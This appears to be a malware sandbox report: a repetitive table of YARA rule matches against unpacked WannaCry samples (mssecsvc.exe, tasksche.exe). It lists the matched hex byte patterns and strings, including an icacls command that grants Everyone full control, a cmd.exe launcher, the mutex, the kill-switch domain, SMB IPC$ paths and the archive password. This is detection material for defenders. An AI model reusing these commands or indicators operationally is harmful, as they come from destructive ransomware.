7.2.mssecsvc.exe.7100a4.1.raw.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
7.2.mssecsvc.exe.7100a4.1.raw.unpack	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x2016:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ... 0x77ba:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
6.0.mssecsvc.exe.7100a4.3.raw.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xf4d8:$x3: tasksche.exe 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xf52c:$x5: WNcry@2ol7 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xf42c:$s3: cmd.exe /c "%s" 0x41980:$s4: msg/m_portuguese.wnry 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
6.0.mssecsvc.exe.7100a4.3.raw.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
6.0.mssecsvc.exe.7100a4.3.raw.unpack	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x2016:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ... 0x77ba:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
8.0.tasksche.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xf4d8:$x3: tasksche.exe 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xf52c:$x5: WNcry@2ol7 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xf42c:$s3: cmd.exe /c "%s" 0x41980:$s4: msg/m_portuguese.wnry 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
8.0.tasksche.exe.400000.0.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
8.0.tasksche.exe.400000.0.unpack	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x2016:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ... 0x77ba:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
6.0.mssecsvc.exe.400000.2.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x415a0:$x1: icacls . /grant Everyone:F /T /C /Q 0x3136c:$x3: tasksche.exe 0x4157c:$x3: tasksche.exe 0x41558:$x4: Global\MsWinZonesCacheCounterMutexA 0x415d0:$x5: WNcry@2ol7 0x313d7:$x6: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com 0x17350:$x7: mssecsvc.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x415a0:$x9: icacls . /grant Everyone:F /T /C /Q 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x414d0:$s3: cmd.exe /c "%s" 0x73a24:$s4: msg/m_portuguese.wnry 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88 0x34aa6:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C 0x34780:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56 0x3436c:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
6.0.mssecsvc.exe.400000.2.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
6.0.mssecsvc.exe.400000.2.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
4.0.mssecsvc.exe.400000.6.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x415a0:$x1: icacls . /grant Everyone:F /T /C /Q 0x3136c:$x3: tasksche.exe 0x4157c:$x3: tasksche.exe 0x41558:$x4: Global\MsWinZonesCacheCounterMutexA 0x415d0:$x5: WNcry@2ol7 0x313d7:$x6: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com 0x17350:$x7: mssecsvc.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x415a0:$x9: icacls . /grant Everyone:F /T /C /Q 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x414d0:$s3: cmd.exe /c "%s" 0x73a24:$s4: msg/m_portuguese.wnry 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88 0x34aa6:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C 0x34780:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56 0x3436c:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
4.0.mssecsvc.exe.400000.6.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
4.0.mssecsvc.exe.400000.6.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
4.0.mssecsvc.exe.400000.6.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0x4157c:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0x415a4:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
4.0.mssecsvc.exe.400000.6.unpack	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x340ba:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ... 0x8090:$start_service_3: 83 EC 10 68 04 01 00 00 68 60 F7 70 00 6A 00 FF 15 6C A0 40 00 FF 15 2C A1 40 00 83 38 02 7D 09 E8 6B FE FF FF 83 C4 10 C3 57 68 3F 00 0F 00 6A 00 6A 00 FF 15 10 A0 40 00 8B F8 85 FF 74 32 53 ... 0x9a16:$entrypoint_all: 55 8B EC 6A FF 68 A0 A1 40 00 68 A2 9B 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C0 A0 40 00 59 83 0D 94 F8 70 00 FF 83 0D 98 F8 70 ... 0x3985e:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
6.0.mssecsvc.exe.400000.2.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0x4157c:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0x415a4:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
6.0.mssecsvc.exe.400000.2.unpack	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x340ba:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ... 0x8090:$start_service_3: 83 EC 10 68 04 01 00 00 68 60 F7 70 00 6A 00 FF 15 6C A0 40 00 FF 15 2C A1 40 00 83 38 02 7D 09 E8 6B FE FF FF 83 C4 10 C3 57 68 3F 00 0F 00 6A 00 6A 00 FF 15 10 A0 40 00 8B F8 85 FF 74 32 53 ... 0x9a16:$entrypoint_all: 55 8B EC 6A FF 68 A0 A1 40 00 68 A2 9B 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C0 A0 40 00 59 83 0D 94 F8 70 00 FF 83 0D 98 F8 70 ... 0x3985e:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
10.0.tasksche.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xf4d8:$x3: tasksche.exe 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xf52c:$x5: WNcry@2ol7 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xf42c:$s3: cmd.exe /c "%s" 0x41980:$s4: msg/m_portuguese.wnry 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
6.2.mssecsvc.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x415a0:$x1: icacls . /grant Everyone:F /T /C /Q 0x3136c:$x3: tasksche.exe 0x4157c:$x3: tasksche.exe 0x41558:$x4: Global\MsWinZonesCacheCounterMutexA 0x415d0:$x5: WNcry@2ol7 0x313d7:$x6: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com 0x17350:$x7: mssecsvc.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x415a0:$x9: icacls . /grant Everyone:F /T /C /Q 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x414d0:$s3: cmd.exe /c "%s" 0x73a24:$s4: msg/m_portuguese.wnry 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88 0x34aa6:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C 0x34780:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56 0x3436c:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
6.2.mssecsvc.exe.400000.0.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
6.2.mssecsvc.exe.400000.0.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
10.0.tasksche.exe.400000.0.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
6.2.mssecsvc.exe.400000.0.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0x4157c:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0x415a4:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
6.2.mssecsvc.exe.400000.0.unpack	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x340ba:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ... 0x8090:$start_service_3: 83 EC 10 68 04 01 00 00 68 60 F7 70 00 6A 00 FF 15 6C A0 40 00 FF 15 2C A1 40 00 83 38 02 7D 09 E8 6B FE FF FF 83 C4 10 C3 57 68 3F 00 0F 00 6A 00 6A 00 FF 15 10 A0 40 00 8B F8 85 FF 74 32 53 ... 0x9a16:$entrypoint_all: 55 8B EC 6A FF 68 A0 A1 40 00 68 A2 9B 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C0 A0 40 00 59 83 0D 94 F8 70 00 FF 83 0D 98 F8 70 ... 0x3985e:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
10.0.tasksche.exe.400000.0.unpack	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x2016:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ... 0x77ba:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
6.0.mssecsvc.exe.7100a4.5.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xf4d8:$x3: tasksche.exe 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xf52c:$x5: WNcry@2ol7 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xf42c:$s3: cmd.exe /c "%s" 0x41980:$s4: msg/m_portuguese.wnry 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
6.0.mssecsvc.exe.7100a4.5.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
6.0.mssecsvc.exe.7100a4.5.unpack	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x2016:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ... 0x77ba:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
6.0.mssecsvc.exe.7100a4.3.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xf4d8:$x3: tasksche.exe 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xf52c:$x5: WNcry@2ol7 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xf42c:$s3: cmd.exe /c "%s" 0x41980:$s4: msg/m_portuguese.wnry 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
6.0.mssecsvc.exe.7100a4.3.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
6.0.mssecsvc.exe.7100a4.3.unpack	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x2016:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ... 0x77ba:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
4.0.mssecsvc.exe.7100a4.3.raw.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xf4d8:$x3: tasksche.exe 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xf52c:$x5: WNcry@2ol7 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xf42c:$s3: cmd.exe /c "%s" 0x41980:$s4: msg/m_portuguese.wnry 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
4.0.mssecsvc.exe.7100a4.3.raw.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
4.0.mssecsvc.exe.7100a4.3.raw.unpack	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x2016:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ... 0x77ba:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
6.0.mssecsvc.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x415a0:$x1: icacls . /grant Everyone:F /T /C /Q 0x3136c:$x3: tasksche.exe 0x4157c:$x3: tasksche.exe 0x41558:$x4: Global\MsWinZonesCacheCounterMutexA 0x415d0:$x5: WNcry@2ol7 0x313d7:$x6: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com 0x17350:$x7: mssecsvc.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x415a0:$x9: icacls . /grant Everyone:F /T /C /Q 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x414d0:$s3: cmd.exe /c "%s" 0x73a24:$s4: msg/m_portuguese.wnry 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88 0x34aa6:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C 0x34780:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56 0x3436c:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
